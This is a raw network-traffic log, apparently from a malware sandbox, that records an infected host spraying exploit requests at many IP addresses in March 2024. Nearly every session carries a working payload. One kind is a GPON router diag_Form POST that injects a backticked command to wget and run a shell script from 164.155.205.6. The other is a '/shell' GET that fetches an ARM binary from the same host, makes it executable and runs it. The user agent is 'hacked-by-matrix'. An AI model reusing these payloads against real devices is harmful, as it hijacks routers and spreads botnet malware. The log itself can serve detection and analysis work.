Mar 2, 2024 12:37:57.066785097 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1146	192.168.2.23	33152	210.31.24.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066827059 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1147	192.168.2.23	41354	212.204.236.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066905022 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1148	192.168.2.23	59734	5.29.119.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066905975 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1149	192.168.2.23	39364	210.55.242.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066909075 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1150	192.168.2.23	33034	2.166.73.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066921949 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1151	192.168.2.23	36738	37.90.31.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066945076 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1152	192.168.2.23	41004	37.182.67.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066968918 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1153	192.168.2.23	48226	178.82.62.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066989899 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1154	192.168.2.23	44248	212.206.60.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066992998 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1155	192.168.2.23	41164	42.55.4.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.067039967 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1156	192.168.2.23	34538	2.225.189.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.067065954 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1157	192.168.2.23	49162	5.216.16.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.067089081 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1158	192.168.2.23	36622	109.139.60.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.067112923 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1159	192.168.2.23	50536	212.12.213.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.067114115 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1160	192.168.2.23	53220	42.176.201.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.067132950 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1161	192.168.2.23	36410	210.251.19.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.067142963 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1162	192.168.2.23	33382	42.79.196.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.067169905 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1163	192.168.2.23	36902	38.90.2.222	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.347242117 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:58.972279072 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:00.892153978 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:01.207803011 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:37:58 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Mar 2, 2024 12:38:11.197438002 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:37:58 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1164	192.168.2.23	47724	23.8.71.193	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.770225048 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:58.332377911 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:58.446003914 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Sat, 02 Mar 2024 11:37:58 GMT Date: Sat, 02 Mar 2024 11:37:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 64 31 31 63 32 31 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 34 37 38 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.d11c2117.1709379478.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1165	192.168.2.23	49614	163.191.66.125	80

Timestamp	Bytes transferred	Direction	Data
